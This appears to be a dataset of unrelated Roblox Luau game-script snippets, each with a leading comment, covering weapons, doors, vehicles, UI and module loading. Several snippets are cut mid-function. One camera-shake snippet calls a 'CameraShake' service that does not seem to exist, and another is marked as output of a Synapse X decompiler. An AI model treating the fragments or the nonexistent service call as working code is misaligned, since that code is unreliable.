clone.Parent = game.Workspace.SkillPart --스킬 적용
clone.Orientation = script.Parent.Handle.Orientation
clone.Position = script.Parent.Handle.Position
clone.Touched:Connect(function(hit) --다른 플레이어가 스킬에 닿이면
local human = hit.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기
local human2 = hit.Parent.Parent:FindFirstChild("Humanoid") --휴머노이드 찾기
if hit ~= script.Parent.Handle then
local bomb = game.ReplicatedStorage.Skill.Explosion2:Clone()
bomb.Parent = game.Workspace.SkillPart
bomb.Position = Vector3.new(clone.Position.X, clone.Position.Y, clone.Position.Z)
ser:AddItem(bomb, 0.2)
ser:AddItem(clone, Delete)
end
if human ~= nil and hit.Parent then
if hit.Parent.Name == script.Parent.Parent.Name and DamageCool == false then return end
if human and DamageCool == false then --해당 조건이 맞으면
DamageCool = true
human:TakeDamage(Damage) --데미지 입히기
wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기
DamageCool = false
elseif human2 and DamageCool == false then
DamageCool = true
human2:TakeDamage(Damage) --데미지 입히기
wait(DamageCoolTime) --스킬 데미지 쿨타임 기다리기
DamageCool = false
end
end
end) --끝
tween(X, Y, Z, clone)
script.Parent.Handle:FindFirstChild(Sound):Play() --오디오 틀기
elseif Ammo == 0 then --탄환이 0이 되면
Cooldown = false
Ammo = 5 --다시 탄환 충전
wait(CoolTime) --쿨타임
Cooldown = true
end
end
end) --끝
|
--[[
===========================================================================
We assume that instructions are unsigned numbers.
All instructions have an opcode in the first 6 bits.
Instructions can have the following fields:
'A' : 8 bits
'B' : 9 bits
'C' : 9 bits
'Bx' : 18 bits ('B' and 'C' together)
'sBx' : signed Bx
A signed argument is represented in excess K; that is, the number
value is the unsigned value minus K. K is exactly the maximum value
for that argument (so that -max is represented by 0, and +max is
represented by 2*max), which is half the maximum for the corresponding
unsigned argument.
===========================================================================
--]]
|
luaP.OpMode = { iABC = 0, iABx = 1, iAsBx = 2 } -- basic instruction format
|
--CHANGE THIS LINE-- (Main)
|
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal2a -- Change last word
|
-- Local Variables
|
local ScoreFrame = script.Parent.ScreenGui.ScoreFrame
local VictoryFrame = script.Parent.ScreenGui.VictoryMessage
local Events = game.ReplicatedStorage.Events
local DisplayVictory = Events.DisplayVictory
local DisplayScore = Events.DisplayScore
local ResetMouseIcon = Events.ResetMouseIcon
local Player = game.Players.LocalPlayer
local Mouse = Player:GetMouse()
local MouseIcon = Mouse.Icon
|
--Script (DO NOT TOUCH)
|
script.Parent.Event:connect(function()
if debounce == false and script.Parent.Open.Value == false then
debounce = true
print("going up")
doora.PrimPart.Alarm:play()
wait(4)
doora.PrimPart.Open:play()
open()
for i = 1,50 do
doora.PrimPart.Alarm.Volume = doora.PrimPart.Alarm.Volume - .06
wait()
end
doora.PrimPart.Alarm.Volume = 3
doora.PrimPart.Alarm:stop()
script.Parent.Open.Value = true
debounce = false
elseif debounce == false and script.Parent.Open.Value == true then
debounce = true
doora.PrimPart.Alarm:play()
wait(4)
doora.PrimPart.Close:play()
close()
for i = 1,50 do
doora.PrimPart.Alarm.Volume = doora.PrimPart.Alarm.Volume - .06
wait()
end
doora.PrimPart.Alarm.Volume = 3
doora.PrimPart.Alarm:stop()
script.Parent.Open.Value = false
debounce = false
end
end)
|
--Main Control------------------------------------------------------------------------
|
Red = script.Parent.Red.Lamp
Yellow = script.Parent.Yellow.Lamp
Green = script.Parent.Green.Lamp
function Active()
if Signal.Value == 0 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = false
elseif Signal.Value == 1 then
Green.Enabled = true
Yellow.Enabled = false
Red.Enabled = false
elseif Signal.Value == 2 then
Green.Enabled = false
Yellow.Enabled = true
Red.Enabled = false
elseif Signal.Value == 3 then
Green.Enabled = false
Yellow.Enabled = false
Red.Enabled = true
end
end
Signal.Changed:connect(Active)
|
--
|
function spring:update(dt)
local displacement = self.position - self.target;
local springForce = -self.stiffness * displacement;
local dampForce = -self.damping * self.velocity;
local acceleration = springForce + dampForce;
local newVelocity = self.velocity + acceleration*dt;
local newPosition = self.position + newVelocity;
if (absDist(newVelocity) < self.precision and absDist(self.target - newPosition) < self.precision) then
self.position = self.target;
self.velocity = self.velocity - self.velocity;
return;
end
self.position = newPosition;
self.velocity = newVelocity;
end
|
--[[
Function called upon entering the state
]]
|
function PlayerCamera.onEnter(stateMachine, serverPlayer, event, from, to)
local player = serverPlayer.player
coroutine.wrap(
function()
local character = player.Character or player.CharacterAdded:Wait()
local primaryPart = character.PrimaryPart
onCharacterAdded(stateMachine, player, character)
MonsterManager.createInterestWhileTrue(
primaryPart.Position,
NOISE_GENERATED,
function()
return stateMachine.current == "camera"
end
)
end
)()
connections.leaveCamera =
LeaveCamera.OnServerEvent:Connect(
function(sendingPlayer)
if sendingPlayer == player then
stateMachine:endCamera()
end
end
)
end
|
--[[
Returns a boolean about whether the `assetType` is actually a Classic Clothing type.
This function is called right before a split in functionality is required
between different types of assets, such as equipping.
See related function `isAccessory`.
]]
|
local MerchBooth = script:FindFirstAncestor("MerchBooth")
local t = require(MerchBooth.Packages.t)
function isClassicClothing(assetType: Enum.AssetType): boolean
assert(t.enum(Enum.AssetType)(assetType))
if assetType == Enum.AssetType.TShirt or assetType == Enum.AssetType.Shirt or assetType == Enum.AssetType.Pants then
return true
end
return false
end
return isClassicClothing
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 10
plrData.Character.Injuries.BrokenRib.Value = false
end
|
--Apply Power
|
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheRPMInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/_Tune.CacheRPMInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/_Tune.CacheRPMInc))/1000)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- We should remove this flag once the above flag becomes enabled
|
exports.warnUnstableRenderSubtreeIntoContainer = false
|
--[[Transmission]]
|
Tune.TransModes = {"Auto", "Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
|
--[[
8888ba.88ba .d888888 888888ba .88888. .88888. dP dP .d88888b 88888888b 888888ba .d888888 8888ba.88ba 88888888b dP dP dP .88888. 888888ba dP dP
88 `8b `8b d8' 88 88 `8b d8' `8b d8' `8b Y8. .8P 88. "' 88 88 `8b d8' 88 88 `8b `8b 88 88 88 88 d8' `8b 88 `8b 88 .d8'
88 88 88 88aaaaa88a 88 88 88 88 88 88 Y8aa8P `Y88888b. a88aaaa a88aaaa8P' 88aaaaa88a 88 88 88 a88aaaa 88 .8P .8P 88 88 a88aaaa8P' 88aaa8P'
88 88 88 88 88 88 88 88 88 88 88 d8' `8b `8b 88 88 `8b. 88 88 88 88 88 88 88 d8' d8' 88 88 88 `8b. 88 `8b.
88 88 88 88 88 88 .8P Y8. .8P Y8. .8P 88 88 d8' .8P 88 88 88 88 88 88 88 88 88 88.d8P8.d8P Y8. .8P 88 88 88 88
dP dP dP 88 88 8888888P `8888P' `8888P' dP dP Y88888P dP dP dP 88 88 dP dP dP 88888888P 8888' Y88' `8888P' dP dP dP dP
ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
The good one
]]
|
local ServerStorage;
local ServerScriptService;
local Players = game:GetService("Players")
local Replicated = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local FWork = {}
local Modules = {}
FWork.Loaded = false
local SModulesFolder;
local ModulesFolder = Replicated:WaitForChild("Package").Modules
if not RunService:IsClient() then
ServerStorage = game:GetService("ServerStorage")
ServerScriptService = game:GetService("ServerScriptService")
SModulesFolder = ServerStorage:WaitForChild("Package").Modules
end
function FWork:Init() --initializes the module
for _,module in pairs(script:GetChildren()) do
if module:IsA("ModuleScript") then
for i,v in pairs(require(module)) do
FWork[i] = v
end
end
end
for _,module in pairs(ModulesFolder:GetChildren()) do
if module:IsA("ModuleScript") then
Modules[module.Name] = require(module)
end
end
if SModulesFolder ~= nil then
for _,module in pairs(SModulesFolder:GetChildren()) do
if module:IsA("ModuleScript") then
Modules[module.Name] = require(module)
end
end
end
for i,v in pairs(Modules) do
if v.Init ~= nil then
v:Init()
end
end
wait()
FWork.Loaded = true
end
function FWork:Get(Name) --used for getting cached modules
if Modules[Name] ~= nil then return Modules[Name] end
end
function FWork.newModule() --used for module creation
local Module = {}
setmetatable(Module,{
__index = FWork;
})
function Module:Init() end
return Module
end
return FWork
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
-- Place this code in a LocalScript
|
local Gui = script.Parent.Parent -- Your BillboardGui object here
local ShakeIntensity = 1 -- Adjust the intensity of the shake effect
local function ShakeScreen()
local Camera = game.Workspace.CurrentCamera
if Camera then
game:GetService("CameraShake"):Shake(Camera, "Rotation", ShakeIntensity)
end
end
Gui.MouseButton1Down:Connect(ShakeScreen)
|
-- If the character is not added for the first time, following function will run
|
Player.CharacterAdded:Connect(function(Character)
Character:WaitForChild("HumanoidRootPart")
Character.HumanoidRootPart.CFrame = Checkpoints[tostring(Stage.Value)].CFrame * CFrame.new(0, 2, 0)
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
while true do
wait();
if game.Players.LocalPlayer.Character then
break;
end;
end;
camera = game.Workspace.CurrentCamera;
character = game.Players.LocalPlayer.Character;
Z = 0;
damping = character.Humanoid.WalkSpeed / 2;
PI = 3.1415926;
tick = PI / 2;
running = false;
strafing = false;
character.Humanoid.Strafing:connect(function(p1)
strafing = p1;
end);
character.Humanoid.Jumping:connect(function()
running = false;
end);
character.Humanoid.Swimming:connect(function()
running = false;
end);
character.Humanoid.Running:connect(function(p2)
if p2 > 0.1 then
running = true;
return;
end;
running = false;
end);
function mix(p3, p4, p5)
return p4 + (p3 - p4) * p5;
end;
while true do
game:GetService("RunService").RenderStepped:wait();
fps = (camera.CoordinateFrame.p - character.Head.Position).Magnitude;
if fps < 0.52 then
Z = 1;
else
Z = 0;
end;
if running == true and strafing == false then
tick = tick + character.Humanoid.WalkSpeed / 92;
else
if tick > 0 and tick < PI / 2 then
tick = mix(tick, PI / 2, 0.9);
end;
if PI / 2 < tick and tick < PI then
tick = mix(tick, PI / 2, 0.9);
end;
if PI < tick and tick < PI * 1.5 then
tick = mix(tick, PI * 1.5, 0.9);
end;
if PI * 1.5 < tick and tick < PI * 2 then
tick = mix(tick, PI * 1.5, 0.9);
end;
end;
if PI * 2 <= tick then
tick = 0;
end;
camera.CoordinateFrame = camera.CoordinateFrame * CFrame.new(math.cos(tick) / damping, math.sin(tick * 2) / (damping * 2), Z) * CFrame.Angles(0, 0, math.sin(tick - PI * 1.5) / (damping * 20));
end;
|
-- else print("Didn't hit Target")
|
end
if makeRays then
makeRay(CFrame.new(origPos, position)
* CFrame.new(0, 0, -distance/2), Vector3.new(0.2, 0.2, distance))
end
end
end
end
round:remove()
break
end
wait()
end
if round then
round:remove()
end
script:remove()
|
--the Create function need to be created as a functor, not a function, in order to support the Create.E syntax, so it
--will be created in several steps rather than as a single function declaration.
|
local function Create_PrivImpl(objectType)
if type(objectType) ~= 'string' then
error("Argument of Create must be a string", 2)
end
--return the proxy function that gives us the nice Create'string'{data} syntax
--The first function call is a function call using Lua's single-string-argument syntax
--The second function call is using Lua's single-table-argument syntax
--Both can be chained together for the nice effect.
return function(dat)
--default to nothing, to handle the no argument given case
dat = dat or {}
--make the object to mutate
local obj = Instance.new(objectType)
local parent = nil
--stored constructor function to be called after other initialization
local ctor = nil
for k, v in pairs(dat) do
--add property
if type(k) == 'string' then
if k == 'Parent' then
-- Parent should always be set last, setting the Parent of a new object
-- immediately makes performance worse for all subsequent property updates.
parent = v
else
obj[k] = v
end
--add child
elseif type(k) == 'number' then
if type(v) ~= 'userdata' then
error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
end
v.Parent = obj
--event connect
elseif type(k) == 'table' and k.__eventname then
if type(v) ~= 'function' then
error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
got: "..tostring(v), 2)
end
obj[k.__eventname]:connect(v)
--define constructor function
elseif k == t.Create then
if type(v) ~= 'function' then
error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
got: "..tostring(v), 2)
elseif ctor then
--ctor already exists, only one allowed
error("Bad entry in Create body: Only one constructor function is allowed", 2)
end
ctor = v
else
error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
end
end
--apply constructor function if it exists
if ctor then
ctor(obj)
end
if parent then
obj.Parent = parent
end
--return the completed object
return obj
end
end
|
--inputService.InputBegan:connect(function(inputObj)
--
-- -- Check if slash
-- if inputObj.KeyCode == Enum.KeyCode.ButtonL3 and not script.Parent.TypeArea:IsFocused() then
-- wait()
-- script.Parent.TypeArea:CaptureFocus()
-- elseif inputObj.KeyCode == Enum.KeyCode.ButtonL3 and script.Parent.TypeArea:IsFocused() then
-- wait()
-- script.Parent.TypeArea:ReleaseFocus()
-- end
--
--end)
|
script.Parent.Toggle.MouseButton1Click:connect(function()
-- Toggle visibility
script.Parent.Parent.Chat.Visible = not script.Parent.Parent.Chat.Visible
if script.Parent.Parent.Chat.Visible then
script.Parent.Toggle.Text = "HIDE"
else
script.Parent.Toggle.Text = "SHOW"
end
end)
while wait(1) do
-- Decrement spam score
if spamScore > 0 then
spamScore = spamScore - 1
end
end
|
--[[
Plugins for this gun kit are basically functions that will run at specific times, i.e. When a key is pressed, when the gun is
fired, when the gun is aimed, etc.
HOW TO USE IT:
KEYDOWN PLUGIN:
Let's say you wanted to toggle a laser whenever you press the "v" key:
You would create a table like the example below
The first element would be "Key = INSERT_KEY_HERE"
The second element would be "Description = INSERT_DESCRIPTION_HERE"
The third element would be "Plugin = INSERT_FUNCTION_HERE"
So whenever you press the "v" key, the plugin function will run
Pretty useful if you want to add extra code to the script without actually having to modify the script
NOTE: Only the keydown plugin requires this table. Every other plugin just needs a function
EVERY OTHER PLUGIN:
Let's say you wanted to make a shell eject whenever the gun was fired:
You would add function called "Plugin = INSERT_FUNCTION_HERE"
That's it; If you want other stuff to happen when the gun is fired, you would either put it all into 1 function, or
you would add more Plugins to the "Firing" table. Like so:
Firing = {
Plugin = function()
--Code
end;
Plugin = function()
--Code
end;
Plugin = function()
--Code
end;
};
That's really it, you just need to know some basic scripting to use it. If you have more questions, pm me.
NOTE: The plugins run seperate from the code in the Gun_Main. For example, if you have a plugin that ejects a shell 1 second
after the gun is fired, the gun's firing speed won't be affected in any way.
--]]
|
local Gun = script.Parent.Parent.Parent
local player = game.Players.LocalPlayer
local Plugins = {
KeyDown = {
{ --This is a plugin for a toggleable laser
Key = "g"; --This is the key you press to activate the plugin
Description = "Toggle Laser"; --This is what the description of the key will be in the controls
Plugin = function() --This is the actual plugin function
local Laser = Gun:WaitForChild("LaserLight") --These few lines wait for the necessary bricks/models
local Handle = Gun:WaitForChild("Grip")
local ignoreCode = Gun.Program_Client:WaitForChild("ignoreCode")
local ignoreModel = game.Workspace:WaitForChild("BulletModel: " .. player.Name)
local ignoreList = {}
local PlyrName = game.Players:GetPlayerFromCharacter(Gun.Parent).Name
local playerFolder = ignoreModel
local RS = game:GetService("RunService")
local function createLaserDot() --This function creates the red laser dot
local laserDot = Instance.new("Part")
laserDot.Transparency = 1
laserDot.Name = "laserDot"
laserDot.Anchored = true
laserDot.CanCollide = false
laserDot.FormFactor = Enum.FormFactor.Custom
laserDot.Size = Vector3.new(0.25, 0.25, 1)
local laserGui = Instance.new("SurfaceGui")
laserGui.CanvasSize = Vector2.new(100, 100)
laserGui.Parent = laserDot
local laserImage = Instance.new("ImageLabel")
laserImage.BackgroundTransparency = 1
laserImage.Size = UDim2.new(1, 0, 1, 0)
laserImage.Image = "http://www.roblox.com/asset/?id=131394739"
laserImage.Parent = laserGui
--[[local laserLight = Instance.new("SurfaceLight")
laserLight.Angle = 180
laserLight.Brightness = math.huge
laserLight.Color = Color3.new(1, 0, 0)
laserLight.Face = Enum.NormalId.Back
laserLight.Range = 5
laserLight.Shadows = true
laserLight.Parent = laserDot]]
return laserDot
end
local function getHitSurfaceCFrame(Pos, Obj) --This function returns the proper cframe based on the face that the position is on
local surfaceCF = {
{"Back", Obj.CFrame * CFrame.new(0, 0, Obj.Size.z)};
{"Bottom", Obj.CFrame * CFrame.new(0, -Obj.Size.y, 0)};
{"Front", Obj.CFrame * CFrame.new(0, 0, -Obj.Size.z)};
{"Left", Obj.CFrame * CFrame.new(-Obj.Size.x, 0, 0)};
{"Right", Obj.CFrame * CFrame.new(Obj.Size.x, 0, 0)};
{"Top", Obj.CFrame * CFrame.new(0, Obj.Size.y, 0)}
}
local closestDist = math.huge
local closestSurface = nil
for _,v in pairs(surfaceCF) do
local surfaceDist = (Pos - v[2].p).magnitude
if surfaceDist < closestDist then
closestDist = surfaceDist
closestSurface = v
end
end
local surfaceDir = CFrame.new(Obj.CFrame.p, closestSurface[2].p)
local surfaceDist = surfaceDir.lookVector * ((Obj.CFrame.p - closestSurface[2].p).magnitude / 2 - 0.25)
local surfaceOffset = Pos - closestSurface[2].p + surfaceDist
local surfaceCFrame = surfaceDir + surfaceDist + surfaceOffset
return surfaceCFrame
end
local laserDot = createLaserDot() --The code is cleaner when the laser creating code is in a function
Laser.Transparency = (Laser.Transparency == 1 and 0 or 1) --Toggles the laser on or off
while math.floor(Laser.Transparency) == 0 do --This loop will keep running as long as the laser is visible
if (not game.Players:GetPlayerFromCharacter(Gun.Parent)) then break end --This checks if the gun is a child of the character
local newRay = Ray.new(Laser.Position, Handle.CFrame.lookVector * 999)
local H, P = game.Workspace:FindPartOnRayWithIgnoreList(newRay, ignoreList)
if H and (H and H.Transparency >= 1 or H.CanCollide == false) then
table.insert(ignoreList, H)
print(H.Name .. " Ignored")
end
local Distance = (P - Laser.Position).magnitude
Laser.Mesh.Offset = Vector3.new(0, Distance / 2, 0)
Laser.Mesh.Scale = Vector3.new(0.075, Distance / 0.2, 0.075)
if H then
laserDot.CFrame = getHitSurfaceCFrame(P, H) --If the laser hits a part then position the dot on the part
laserDot.Parent = playerFolder
else
laserDot.Parent = nil --If the laser doesn't hit a part then temporarily remove the laser dor
end
RS.RenderStepped:wait()
end
laserDot:Destroy() --These lines reset the laser if the laser is transparent or the gun was deselected
Laser.Transparency = 1
Laser.Mesh.Offset = Vector3.new()
Laser.Mesh.Scale = Vector3.new(0.075, 0, 0.075)
end;
};
};
}
return Plugins
|
-- functions:
|
local function disableCollisions(descendant)
if not descendant:IsA("BasePart") then return end
physicsService:SetPartCollisionGroup(descendant, "Characters")
end
local function enableCollisions(descendant)
if not descendant:IsA("BasePart") then return end
physicsService:SetPartCollisionGroup(descendant, "Default")
end
local function handleCharacter(character)
for _, descendant in ipairs(character:GetDescendants()) do
disableCollisions(descendant)
end
character.DescendantAdded:Connect(disableCollisions)
character.DescendantRemoving:Connect(enableCollisions)
end
local function handleNPcs(v)
for _, descendant in ipairs(v:GetDescendants()) do
disableCollisions(descendant)
end
end
|
-- ROBLOX deviation END
|
export type ValidTestReturnValues = void | nil
type TestReturnValuePromise = Promise<any>
type TestReturnValueGenerator = Generator<void, any, void>
export type TestReturnValue = ValidTestReturnValues | TestReturnValuePromise
export type TestContext = Record<string, any>
export type DoneFn = (reason: (string | Error)?) -> ()
|
-- get existing players
|
for _, player in pairs(Players:GetPlayers()) do
playerAdded(player)
end
|
--s.Pitch = 0.7
--s.Pitch = 0.7
|
while true do
while s.Pitch<0.6 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>0.6 then
s.Pitch=0.6
end
wait(0.001)
end
|
--[[script.Parent.Examinar.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.ExaminarAberto.Visible == false then
Saude.Variaveis.Doer.Value = true
Timer.Barra.Size = UDim2.new(0,0,1,0)
TS:Create(Timer.Barra, TweenInfo.new(5), {Size = UDim2.new(1,0,1,0)}):Play()
wait(5)
script.Parent.Parent.ExaminarAberto.Visible = true
script.Parent.Parent.ExaminarAberto.Base.DiagnoseHandler.Disabled = false
Saude.Variaveis.Doer.Value = false
end
end)]]
|
script.Parent.Airway.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Airway.Visible == false then
--Saude.Variaveis.Doer.Value = true
--Timer.Barra.Size = UDim2.new(0,0,1,0)
--TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play()
--wait(.25)
script.Parent.Parent.Circulation.Visible = false
script.Parent.Parent.Breathing.Visible = false
script.Parent.Parent.Airway.Visible = true
script.Parent.Parent.Resuscitation.Visible = false
script.Parent.Parent.Surgery.Visible = false
script.Parent.Parent.Analgesic.Visible = false
--Saude.Variaveis.Doer.Value = false
end
end)
script.Parent.Breathing.MouseButton1Down:connect(function()
if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Breathing.Visible == false then
--Saude.Variaveis.Doer.Value = true
